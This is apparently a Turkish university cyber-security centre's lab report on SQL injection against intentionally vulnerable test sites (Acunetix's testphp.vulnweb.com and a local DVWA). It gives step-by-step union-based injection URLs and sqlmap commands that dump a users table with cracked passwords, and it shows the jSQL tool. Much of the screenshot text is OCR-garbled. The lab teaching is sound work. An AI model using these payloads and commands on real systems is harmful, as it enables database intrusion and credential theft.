

T.C. Kayseri Üniversitesi Siber Guvenlik Uygulama ve Arastirma Merkezi Müdürlüğü

Arastirma Faaliyetinin Amacı	:	Web Uygulaması Sömürü Araçlarını Kullanma
Birim	:	Siber Güvenlik Uygulama ve Araştırma Merkezi
Arastırmadan Sorumlusu Öğretim Elemanı	:	Doç.Dr. Ali GEZER
Arastırma Faaliyetinde Kullanılan Araçlar	:	SQLMAP, JSQL
Arastırma Faaliyeti Tarih Aralığı	:	1.4.2023-1.5.2023
Arastırmaya Katılan Kişi Sayısı	:	4 (Doç.Dr. Ali GEZER, Ali Altun, Ali Akdeniz, Mehmet Gülce)
İlgili Araştırmacı Adı veİletişim Bilgisi	:	Alişaltun.89@mail.com

ARAŞTIRMA FAALİYETİSONUÇ RAPORU

Genel Bilgilendirme ve Değerlendirme

SqlInjection

SQL Nedir?

Veri tabanı alt yapısına sahip sistemlerde verileri yönetmek ve tasarlamak için kullanılan bir dildir.

Sqlİnjection nedir ve nasıl yapılır?

SQL injection web uygulamalarının sql sorularına sqlkamutları enjekte edilmesidir. Web tarayıcımızın adres çubuğunda yazdığımız herşey arka planda bir sql sorgusu çalıştırmakta bu sorguların sql komutları eklenerek manipüle ederek Sqlinjection saldırısı gerçekleşmektedir.

SqlInjection Uygulaması

Hedef sitemizin adres çubuğuna " ' " ekliyoruz bu sayede veri tabanı kullanıp kullanmadığını öğreniyoruz site bize syntx hatası verdi

"http://testphp.vulnweb.com/listproducts.php?cat=1 ' "

Şimdi "'" yerine bize her zaman doğru sonuç döndürecek olan " or 1=1" ekliyoruz.

š 🗖 🔁	
🙆 MEGA	× 🖻 pictures × +
$\leftrightarrow \rightarrow \mathbf{G}$	ⓐ ○ ≧ testphp.vulnweb.com/listproducts.php?cat=1'
🛰 Kali Linux 🚦	🎓 Kali Tools 📲 Kali Docs 🔍 Kali Forums Kali NetHunter 🔺 Exploit-DB 🛸 Google Hacking DB 🥼 OffSec 🐽 YouTube
acune	tix acuart
TEST and Demonstrat	ion site for Acunetix Web Vulnerability Scanner
home categories	artists disclaimer your cart guestbook AJAX Demo
search art	Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near
Browse categories	Ta tine 1 warming: mysql_terch_array() expects parameter 1 to be resource, boolean oliven in /hivar/bww/listoroducts hop on line 74
Browse artists	
Your cart	
Signup	
Your profile	
Our guestbook	
AJAX Demo	
Links Security art PHP scanner PHP vuln help Fractal Explorer	
About Us Privacy Polic	y Contact Us 02019 Acumedy Ltd
Warning: This is n It is intended to he let comeone but Look for potentia	not a real shop. This is an example PHP application, which is interdiscully volverable to web attacks, by you test Acuretic, it also helps you understand how developer errors and bad configuration may ak into your weble. You can use it to be to the to both and your manual handlers (askilla as well. Tip: al SQL injections, Cross-site Scripting (KSS), and Cross-site Request Forgery (CSRF), and more.

Hazırlayan	Onaylayan
BKK	KASGEM



Doküman No	FR-471
İlk Yayın Tarihi	19/07/2023
Revizyon Tarihi	-
Revizyon No	0
Sayfa No	1/1

"http://testaha.vz.levveh.com/listanodusts.aha?est=1.cr.1=1"
MEGA × Pictures × +
← → C
Kali Linux 👰 Kali Tools S Kali Porums Kali NetHunter Kali NetHunter Kali Linux G Kali NetHunter Kali Linux G Kali NetHunter Kali NetHunter Kali NetHunter Kali NetHunter Kali Linux G Kali NetHunter
TEST and Descensional to the Advanced with Veder while y Gammer
home categories attols : disclarer your cat guesticok AJAX Demo search att
Stroke catagories The shore Browse catagories Lareer ipon difor st areer, consectionary ediporting eff. Drowse antias Derec moleties Set bit manusement arou.
Signup painted by relati23
Our genetionsk Comment on this picture AUAC Dom The shore The shore The shore The shore
Rently art PAP scenarer PAP scenarer
Flactal Explorer parteel by BisG comment on this plane
The share
Dense models de la data et un data et un data et un data et un data et un data et un data et un data et un data Dense models de la data et un data et un data et un data et un data et un data et un data et un data et un data Parted by lyze
connection this picture
The share Loren joun doir st anet, consoletuar adpoint elt. Done indiste Set aitquan sen ut anu.
painted by +440123
The shore
Letter lippen diver at avere, consentinger adjuscing ett. Doreer molester, Sea laiguan sen ut arcu.
purine dy closad comment on this puttere
Görüldüğü üzere sayfa hata vermeden geldi.
Şimdi sutun sayısını ogrenmek için " orderby " komutu ekleyip sonuna rastgele sayılar yazıyor ve kaç adet sutun
oldugunu ogreniyoruz
$\frac{\text{nttp://testpnp.vuinweb.com/listproducts.pnp?cat=1 or 1 = 1 order}{\text{by 12}}$
Şekinde 12 sulun olduğunu belirlip deniyoruz. Gorulduğu üzere 12 sulundan az olduğu için nata verdi şimdi 11
yazıp tekrar yazıyoru bu işienii suturi sayısını bulana kadar tekrariiyoruz .
MEGA × A pictures × +
$\leftarrow \rightarrow \mathbf{C} \widehat{\mathbf{a}} \qquad \qquad \bigcirc \stackrel{\mathbf{b}}{\cong} \text{ testphp.vulnweb.com/listproducts.php?cat=1 or 1=1 order by 12}$
🖄 Kali Linux 🎧 Kali Tools 💆 Kali Docs 🥆 Kali Forums 🤻 Kali NetHunter 🛸 Exploit-DB 🛸 Google Hacking DB
acunetix a c u a r t
TEST and Demonstration site for Acunetix Web Vulnerability Scanner
Home daugenes and gesteer gesteer Adat Sent
search art Error: Unknown column '12' in 'order clause' Warning: mysql_fetch_array()
search art Error: Unknown column '12' in 'order clause' Warning: mysql_fetch_array() go Error: Unknown column '12' in 'order clause' Warning: mysql_fetch_array() go Browse categories
search art go go Error: Unknown column '12' in 'order clause' Warning: mysql_fetch_array() Browse categories www/listproducts.php on line 74 Your cart Your cart
search art go go Error: Unknown column '12' in 'order clause' Warning: mysql_fetch_array() Browse categories Www/listproducts.php on line 74 Your cart Signup Your profile Www.listproducts.php on line 74
search art ge Browse categories Your cart Signup Your profile Our guestbook AJAX Demo
search art ge Browse categories Fror: Unknown column '12' in 'order clause' Warning: mysql_fetch_array() Browse artists Warn cart Signup Your cart Your profile Our guestbook AJAX Demo Links Security art PHP scanner
search art go go Error: Unknown column '12' in 'order clause' Warning: mysql_fetch_array() Browse categories www.listproducts.php on line 74 Browse artists Your cart Signup Your profile Our guestbook AJAX Demo Links Security ant PHP scanner PHP scanner PHP scanner PHP scanner PHP scanner PHP practal Explorer Fractal Explorer
search art go Browse categories Browse categories Browse artists Your cart Signup Your profile Our grestbook AJAX Demo Links Security art PHP scanner PHP scanner PHP scanner PHP scanner </td
search art go Browse categories Browse categories Browse artists Your cat Your profile Www/listproducts.php on line 74 Your profile Our guestbook AJAX Demo Links Security art PHP scamelp Fractal Explorer Contact Us Coll9 Acumetia Lid
search art go Browse categoies Browse artists Browse artists Signup Your cart Signup Your profile Our guestbook AJAX Demo Links Security art PHP scanner PHP scanner PHP scanner About Us Privacy Policy Contact Us C2019 According Ltd Warning: This is not a real shop. This is an example PHP application, which is intentionally vulnerable to web attacks. Its is indo theig you understand box dowing prev rors and bad configuration more took for policies. Cross-prev (CSER), and more.
search at go go Browse categoies Browse categoies Browse antists Browse antists Your cant Signup Your profile Outgestbook AJAX Demo Links Security art PHP scanner PHP scanner Fractal Explorer Contact Us Cool9 Acumetic Ltd Warning: This is not a real shop. This is an example PHP application, which is intentionally vulnerable to web attacks. It is intended to help you test. It also helps you understand how developer errors and bad configuration may let someone break into your website. You can use it to test other tools and your manual hacking skills as well. Tip: Look for potential SQL, medicines, cross-site Scientifier (CEMPS), and cross-site Forgey (CEMPS), and crout is due to the cost of the cost of the cost

Hazırlayan	Onaylayan
BKK	KASGEM



SİBER GÜVENLİK ARAŞTIRMA SONUCUPAYLAŞIM FORMU

Doküman No	FR-471
İlk Yayın Tarihi	19/07/2023
Revizyon Tarihi	-
Revizyon No	0
Sayfa No	1/1

MEGA	×	pictures × +	
$\leftarrow \rightarrow \mathbf{G}$		testphp.vulnweb.com/listproducts.php?cat=1 or 1=1 order by 11	
< Kau Linux 🔐	MEGA	× A pictures × +	outube
acunet		ⓐ ○ ゐ testphp.vulnweb.com/listproducts.php?cat=1 or 1=1 union select 1,2,3,4,5,6,7,8,9,10,11	
ome categories	artists disclaimer your	📸 Kali Tools 👱 Kali Docs 🔍 Kali Forums 🜊 Kali NetHunter 🛸 Exploit-DB 🛸 Google Hacking DB 🎁 OffSec 🔸 YouTut cart guestbook AJAX Demo	
arch art go	Graffity		
owse categories owse artists our cart gnup our profile ur guestbook JAX Demo	Thing comment on this picture	Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Donec molestie. Sed aliquiam sem ut arcu. Phasellus sollicitudin. painted by: Blad3	
inks ecurity art HP scanner HP vuln help ractal Explorer	Walking comment on this picture	Lorem lipsum dolor sit amet, consectetuer adipiscing elit. Donec moleste. Sed aliquiam sem ut arcu. Phasellus sollicitudin. painted by: r4w8173	
	Walking	Lorem lpsum dokor sit amet, consectetuer adipiscing elit. Donec molestie. Sed aliquam sem ut arcu. Phasellus sollicitudin. a painted by: Blad3	
	Walking	Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Donec molestie. Sed aliquam sem ut arcu. Phasellus sollicitutin. painted by: lyzae	
	The shore	Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Donec molestie. Sed aliquam sem ut arcu.	
örüldüğü eraber yaz itunları şı	gibi " orderl zabilmemizi 1 şekilde "1,2	by "komutunu kullanarak sütun sayısını bulduk sütun sayısı olanak sağlayan "unionselect "komutunu "orderby " 2,3,4,5,6,7,8,9,10,11" bütün sütunları yazıp sayfayı inceliyor	ı 11. Şimdi bütün sütunları komutu yerine yazı ruz sayfada

Hazırlayan	Onaylayan
BKK	KAŠGĚM



SİBER GÜVENLİK ARAŞTIRMA SONUCUPAYLAŞIM FORMU

Ø		
1EGA	×	n pictures × +
\rightarrow C \textcircled{a}		○ 🍐 testphp.vulnweb.com/listproducts.php?cat=1 or 1=1 union select 1,2,3,4,5,6,7,8,9,10,11
Kali Linux 👩 Kal	i Tools 🛛 🧕 K	ali Docs 🥆 Kali Forums Kali NetHunter 🛸 Exploit-DB 📥 Google Hacking DB 🥼 OffSec 🛽 📭 YouTub
	X 3	painted by: Blad3
5.	E (a)	comment on this picture
Tre	es	
	C. L.	bla bla bla
	*)	painted by: lyzae
1. A A A A A A A A A A A A A A A A A A A	I. Se	comment on this picture
Tre	es	
	h h	bia bia
	¥ C	comment on this nichure
**		
Tre	es 🖌	bla bla bla
	5 3	painted by: Blad3
	$E \sim$	comment on this picture
Tre	es	
	(I.	bla bla bla
	1	painted by: lyzae
	$I \sim$	comment on this picture
7		
	6	2
		painted by: 9
		comment on this picture

Sayfanın sonunda görüldüğü gibi 2,7 ve 9 sütunları manipüle edilebilir 7. sütuna bir deneme yapalım adres çubuğunda "7" yerine "@@version" yazıyoruz bu bize bu sayfayı çalıştıran işletim sistemi ve sürümü hakkında bilgi verecek.

"<u>http://testphp.vulnweb.com/listproducts.php?cat=1 or 1 = 1</u> unionselect 1,2,3,4,5,6,@@version,8,9,10,11"

2	2
	painted by: 9
	comment on this nicture

Bu sayfayı çalıştıran işletim sistemi ubuntu ve sürümü 0.20.04.2

7. sütunu manipüle etmeye devam edelim.

"@@version" yerine bize bütün sonuçları birleştirecek olan "group_concat ()" komutunu yazıyoruz Parantez İçerisine tabloları görüntülemek için "group_concat(table_name)" şeklinde yazıp sorgunun sonunda bu isteğimizi belirtiyoruz "frominformation_schema.tableswheretable_schema=database()"

Hazırlayan	Onaylayan
BKK	KASGEM



Doküman No	FR-471
İlk Yayın Tarihi	19/07/2023
Revizyon Tarihi	-
Revizyon No	0
Sayfa No	1/1



Hazırlayan	Onaylayan
BKK	KASGEM



Doküman No	FR-471
İlk Yayın Tarihi	19/07/2023
Revizyon Tarihi	-
Revizyon No	0
Sayfa No	1/1

					Kullanıcı
adı test	șifre test sız	zma işlemi g	gerçek	lești bu bilgiler ile login olu	yoruz.
		test:test			
		5		2	
				painted by: 9	
	painted by: 9				
				comment on this picture	
~ ~ ~ ~ ~ ~					
SQLM	IAP TOOL				
		4) a c	0 8 or testaha vulaweb com/logia	
		[™] ⊂ K	ali Linux 🔒 K	ali Tools 🧧 Kali Docs 🥆 Kali Forums 🦪 Kali NetHunter 🔌	Exp
		6	acunetix	acuart	-
		TEST	nd Demonstration si	ie for Acunetix Web Vulnerability Scanner	
		home	categories arti	sts disclaimer your cart guestbook AJAX Demo f you are already registered please enter your login information below:	
		Brows	9º e categories	Username : test	
		Brows Your c	e artists art	Password : eeee login	
		Your p Our gu	rofile	fou can also signup here. Signup disabled. Please use the username test and the password test.	
		AJAX	Demo		
		Securi PHP s PHP y	ty art canner uin help		
		Fracta	I Explorer		
		About (Is Privacy Policy Co	ntact US ©2019 Acumetix Ltd	
		w	aming: This is not a re is intended to help you	eal shop. This is an example PHP application, which is intentionally vulnerable to web attacks. . test Acunetix. It also helps you understand how developer errors and bad configuration may	
			let someone break int: Look for potential SQL	your website. You can use it to test other tools and your manual hacking skills as well. Tip: Injections, Cross-site Scripting (XSS), and Cross-site Request Forgery (CSRF), and more,	
Salmar	saliniection	gerceklesti	ren bii	r arac konsol tabanlıdır para	metreleri icin konsola
Squinap	,squinjeen on	Bergenneşer		uruş nonzor tacanınan para	
		nacune		uart	
		TEST and Demonstratio	n site for Acur	etix Web Vulnerability Scanner	
		home categories	artists disc	aimer your cart guestbook AJAX Demo	Logout test
		search art	ciao (te	st)	
		Browse categories	On this pag	e you can visualize or edit you user information.	
		Your cart	Namo		
		Signup Your profile	Credit card	number: 1234-5678-2300-9000	
		Our guestbook	E-Mail:	purpleguy@gmail.com	
		AJAX Demo	Phone num	nber: 1395271	
		Security art	, ladroos.	your own nouse	
		PHP scanner PHP vuln help Fractal Explorer		lle.	
				update	
			You have 0	items in your cart. You visualize you cart here.	
"calmo	n h" vozoro	k ulocobilir	ainiz		
sqiina	p-II yazara	k ulaşaullı halimtmalı	SIIIIZ	UDI uni_UDI	("http://www.site.com/wilp.php?id_1")
			için	-u URL,un=URL	(http://www.site.com/vum.php?id=1)
	Cookie	belirtmek iç	in	cookie=COOKIE	(e.g. "PHPSESSID=a8d12/e")
	Ver	1 tabanını		dbs	
	görünt	ülemek içir	1		
	Tabloları	görüntülen	nek	tables	
		için			
	Kolonlar	ı görüntüler	nek	columns	
		icin			
	Verileri	i cekmek ic	in	dump	
	Veri taba	nı helirmek	icin	-D DR	
	Table h	alirtmak in	iyiii in		-
	Volon ¹	olirtmol.	in		
	K01011 C	jenn unlek 1ç	111	-C COL	
TT 1 0	1,	1	1 6699 .		1 1' .' 1'
Hedet u	url´y1 ``-u'' y	azıp url'yı o	1e "" 1	çerisine yazıyoruz ve cookie	e belirtiyoruz cookie "" içinde belirtiyoruz ve veri
tabanla	rını görmek	ıçın "dbs'	′ yazıp	b başlatıyoruz	

Hazırlayan	Onaylayan
BKK	KASGEM



(root@kali)-[*] sqlmap -u "http://127.0.0.1:42001/vulnerabi Ve bize iki adet veri tabanır	lities/sqli/?id=6Submit=Submit6user_token=ad701f0dbd019482a61 n gösterdi . available databases [2]:	141e5c297b27b2#"cookie "security=low;PHPSESSID=441cimg	y95ufefk17u0id7u526u″ →dbs
Şimdi dvwa veri tabanını be "dbs" yerine "-D dvwa	[*] dvwa [*] information_schema elirtip içerisindeki tabloları görüntü -tables" yazıyoruz	ilemek için	
[10:30:24] Database: d [2 tables] + guestbook users +	HIS. HySQL ≥ 3.0.12 (Mailabb for [INFO] fetching tables for datab vwa -+ : 	base: (dvwa' Editor C	
Bize "guestbook" ve "users"	" tablolarını gösterdi şimdi "users"	' tablosundaki kolonları görüntül	emek için "-D dvwa -
	sc/cn];/9;d_50;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;	107 k 17k1# ¹	1700;4705260° -D duna -T usawa - saluma
T users –column" şeklinde o	ts/sqt1/?t0=osuumit=suumittouset_token=au/ot19000019482a0141est2 düzenliyoruz.	19702702#COOKIE SECULICY=COW;PHP3E3310=441CIMg930TETK.	1/UUIU/US26U -D UVWA -T USERSCOLUMN
users tablosunun kolonların	1 görüntüledik		
[10:34:20] [INFO] Database: dvwa Table: users [8 columns]	fetching columns for table 'user	s'Cin database 'dvwa' ure CAPTCHA	
+++++++	ype I SQLI	njection	
+ + + + + + + + + + + + + + + + + + +	+ archar(15) archar(70) nt(3) archar(15) imestamp archar(15) archar(32) nt(6)	Reformance all: Mi	
şimdi bu kolonlardaki verile	eri çekeceğiz bunu için "-D dvwa -	T users -C users, passworddun	np"
şeklinde düzenliyoruz	lvwa	The molusion	kullanıcı
Table: user [5 entries]	's 	File Upload	
++ user	password	Insecure CAPTO	
++ admin gordonb 1337 pablo smithy ++	5f4dcc3b5aa765d61d8327deb882cf e99a18c428cb38d5f260853678922e 8d3533d75ae2c3966d7e0d4fcc69210 0d107d09f5bbe40cade3de5c71e9e9 5f4dcc3b5aa765d61d8327deb882cf	+ 99 (password) 03 (abc123) 6b (charley) b7 (letmein) 99 (password) 	
adları ve şifreleri çektik sızı	ma işlemi gerçekleşti.		
JSOL TOOL			

Hazırlayan	Onaylayan
BKK	KASGEM



SİBER GÜVENLİK ARAŞTIRMA SONUCUPAYLAŞIM FORMU

Doküman No	FR-471
İlk Yayın Tarihi	19/07/2023
Revizyon Tarihi	-
Revizyon No	0
Sayfa No	1/1

Basit bir arayüze sahiptir jSQL Injection 🧃 Database 🖉 Admin page 📄 Read file 🔎 Web shell 🎽 SQL shell 🔚 Upload 🎒 Brute force 🗂 Encoding 🐚 Batch scan Enter address (e.g. http://127.0.0.1/index.php?key=value&injectMe=-1) 🕶 Database auto 👒 Strategy auto 🌛 No database Console Chunk Boolean Network Console Hedef url'yi yazıp başlatmamı yeterli. 🖃 🥃 acuart (8 tables) 🗉 🧮 artists (3 rows) 🗉 💷 carts (1 row) 📖 categ (4 rows) 🗔 featured (0 row) 💷 guestbook (0 row) 🗔 pictures (7 rows) 🗔 products (3 rows) 🖶 🔠 users (0 row) 📄 address 📃 cart cc 🗌 📃 email 🔄 name 📄 pass 🔄 phone uname 🔒 information_schema (79 tables) Bize database'leri ,tabloları ve kolonları çıkardı

Hazırlayan	Onaylayan
ВКК	KASGEM

V SER	SİBER GÜVENLİK	Doküman No İlk Yayın Tarihi	FR-471 19/07/2023
	ADASTIDMA SONIICIIDAVI ASIM EODMII	Revizyon Tarihi	-
(c)	ARAŞTIRMA SONUCULAT LAŞIM FORMU	Revizyon No	0
VERSITE		Sayfa No	1/1

Şimdi users tablosundaki kolonları çekelim bunun için users üzerine sağ tık yapıp chekall diyoruz yani hepsini
seçiyoruz ve tekrar sağ tık yapıp load diyoruz
Verileri çekmeyi başardık.
50L Injection
Database Admin page Read file Web shell SQL shell Upload Brute force Encoding Batch scan whick_ttestphp.vulnweb.com/artists.php?artist=17
Image: Control (Transpire) Image: Control (Transpire)
featured (0 row) guestbook (0 row) publication publi
□ □
Sorumlu Öğretim Elemanı
Unvan:Doç.Dr.
Adı Soyadı:Ali GEZER
Görevi: Siber Güvenlik Uygulama ve Araştırma Merkezi Müdür

Hazırlayan	Onaylayan
BKK	KASGEM